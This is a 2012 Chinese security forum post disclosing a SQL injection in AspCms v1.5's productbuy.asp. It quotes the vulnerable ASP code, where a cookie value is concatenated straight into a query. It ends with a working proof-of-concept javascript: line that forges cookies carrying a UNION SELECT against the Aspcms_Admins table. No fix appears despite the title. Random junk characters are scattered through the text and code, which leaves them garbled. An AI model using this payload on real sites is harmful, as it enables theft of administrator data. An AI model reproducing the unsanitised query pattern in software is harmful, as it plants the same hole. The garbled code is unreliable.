找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2469|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
7 q4 Q! ?  ]1 t也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
2 ~1 W6 q$ J! g  x1 C2 ?* ^5 L废话不多说,看代码:# b; i( Z5 i2 G1 Q) ^

! H, G. V) ~0 `& V<%% }& F; b3 e9 e, \' S4 `3 k7 y; I" [

+ m( z: I% ^% K  Mif action = "buy" then+ u* Z0 o! ^  A8 |- i* T- h

5 U- |/ Z7 `2 O, h7 ^/ n$ Y, W        addOrder()
( D% q5 p1 v& P9 b. ]* Y: R8 q
6 Q" K" c- Q$ relse
! _% {+ K% a. A$ L8 |& @
8 F$ a- j+ x+ u+ W7 t9 D        echoContent()
- ~2 O5 V# G9 }" r5 M7 ?
3 b2 Q. }5 Z5 U0 s! Y. tend if0 [" I% P: c% ]+ z8 U6 }/ z. g
9 T4 c5 `4 y- X, T
' U  v3 [* p7 W  G% }; _

& i3 B( `2 G; C( z" O' D5 q5 M……略过' h! q. h, T* g+ r1 |
/ v1 y! A; j; ^2 M  Z' u

' |: [( ^' g* D4 v9 @9 U. |1 D' c8 k, z  `0 v: t. R# C/ x  D
Sub echoContent()
1 o, C; A/ R( p# w* f
  H9 i( W& J, P6 N7 m) B7 \1 V        dim id
2 y+ `* N" O! Z! o- c! {, X9 q( `0 V( K& p
        id=getForm("id","get")7 X2 C  ]2 d! N4 t
' Y0 F5 R, P# L$ ^2 V! k
        
, `. m6 `% g& f7 f' a1 u* E2 S5 K$ W/ q0 i3 |- L5 q) [! [
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
- k! p: e# x7 a" y* K/ v" g
4 `" l; v3 Z- b% q4 V        
, i% j, v  b8 K. ^8 ^' L1 X" X: F, k0 t4 l( f+ e" P5 m0 p; }
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
0 d7 @1 L: U* |! h9 `7 P2 B; _9 r/ T7 U/ Y$ Z1 Q, H
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
/ v% e" Y' F* ]
) e) b: d: x5 k% Z        Dim templatePath,tempStr& @8 J- z9 t2 t+ q
. Z" s+ x1 [! z) t( j* e
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"* w; s+ V7 T# L2 P7 C

# V9 N+ V: w7 x* Y  ~  h/ i+ V6 N, \9 s3 h' x

, L9 `2 ?5 n, s5 E        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
" w5 f0 Q1 y! D1 j2 e' X5 {! Z: s# C
        selectproduct=rsObj(0)
3 z1 H. R; x8 t7 F5 l# ~* E2 _0 e& r+ {
        
8 n) M: a0 [% L6 w5 k% A7 i( O* M9 h8 \% C( M0 p6 F7 [
        Dim linkman,gender,phone,mobile,email,qq,address,postcode* N2 \1 `# L  |
1 l6 ?' c' k7 t: j9 j3 G6 \
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0" p7 p' a: w6 G! Z) |
& w; p, t; g- N7 y4 N$ Q  Q/ g  A" ^
        if rCookie("loginstatus")=1 then  
4 j. C, H- k5 x  T" V' d0 Q$ g" m4 U; e) J+ z
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")" u' j! C. j" }( O; S* }
; u5 O8 d8 x  j* V: l1 D+ g" @; U
                linkman=rsObj("truename")
) z. V7 R/ g+ E2 H
7 ~: s7 `; y4 D8 i  N. P8 M                gender=rsObj("gender")
: x+ U) z+ s5 \5 P# Y2 d2 x" ?# g  y- p1 G8 y9 A5 T4 L! k$ M
                phone=rsObj("phone")
, x* P% a# Z! k" a+ L2 }: f: z" t
$ n8 A' n* q  {( k6 l7 I, s                mobile=rsObj("mobile")
% ?, H: ?9 |4 S/ Z. H4 A# c, ]" b" a
                email=rsObj("email")
3 G, ?3 _6 Q7 K2 u/ B& M9 i. S: q5 _4 e
                qq=rsObj("qq")
5 s, s5 h8 r: i/ h/ b& N3 I1 p
* Y) `* ~( m. b& [) R                address=rsObj("address"), i0 |  h# L" I8 c4 ?
) X( x8 w; O7 f2 T" I" R
                postcode=rsObj("postcode")
" ?( A! v4 k0 i" y" Z/ W4 F, a1 _8 S/ \( O
        else 2 z; i- `: r7 a5 X2 [# g3 I' v# {
( Y3 m8 _$ o) c/ U
                gender=14 l# q- h% W. R5 i4 C% q
1 `0 y7 y* C/ Z; R
        end if
+ Y2 {6 U& g1 w: ?3 ^' l5 N+ f1 T( \
/ b# l  C9 T% m9 \/ y        rsObj.close()
: W) Z7 W, A+ f% P
, d6 x, B+ F5 I0 y  Y  Z" @               
5 R/ `: J0 D0 m. u1 U
1 G4 M0 O9 m2 Y8 ]/ T9 U5 _        with templateObj 3 l& I* L4 F7 p

6 v8 N; ]+ V/ b: b                .content=loadFile(templatePath)        
0 h+ P' F& K2 f. a
+ }  R( e( t7 a( a                .parseHtml()
* Z7 g& k: M/ M9 }4 V5 d1 k) L. ^7 X7 }; Q% v
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)3 L8 }) k; V( N6 ~) O. r3 f

  f2 S) T+ N; ^                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                  h4 {9 r+ a; t! C# K7 j

, ], a/ u' U) [                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  s& M5 n. G$ U. R/ S# Y' N9 X3 {/ y$ }$ P
                .content=replaceStr(.content,"[aspcms:phone]",phone)                $ [. i- m6 h1 l# \8 J0 t2 m. r
9 a& B0 O! ]! e# F( Z
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
* r2 `/ b; f1 f& }
8 }+ }5 T: {* [3 n1 k                .content=replaceStr(.content,"[aspcms:email]",email)                        
9 F- x6 L! a# K: U
/ {) v" p7 N6 y! M; N1 Y0 ?6 b                .content=replaceStr(.content,"[aspcms:qq]",qq)                        % v( E2 s; ^) j& t- C# g3 g( l/ \
1 {9 l/ Q" }- Q9 A0 c# L
                .content=replaceStr(.content,"[aspcms:address]",address)                        1 I6 o1 r4 w7 a& [( ?; a& \
, E. @) U# H: H5 b  _
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
  p+ t. w7 C% G' Q$ p0 r
% ~$ h5 C7 G$ v7 C& r  j                .parseCommon()                 
6 u( {( |0 g+ C# @8 E0 [$ r& g
8 X) q+ L% L6 W3 y/ B                echo .content + U3 S7 ]' L! a

& Z1 Y. R) B+ h$ a3 S0 ]        end with
, m9 f; Y* F, o: b1 g
& k+ y: r0 m' f; Q        set templateobj =nothing : terminateAllObjects
0 h2 R% o; E5 a8 I( I9 D) }
. `6 k& B8 z& H4 m/ k6 CEnd Sub. T; P$ s) c# W; _- P- M$ j9 B% N' k
漏洞很明显,没啥好说的
$ s- l6 [7 q* H0 Y- v, Apoc:- T6 ^& s' I) F
+ O, k0 ?* f$ E$ |& r2 C
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
' I2 Q4 T$ ^0 ~# Y2 V1 z$ G: D. x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表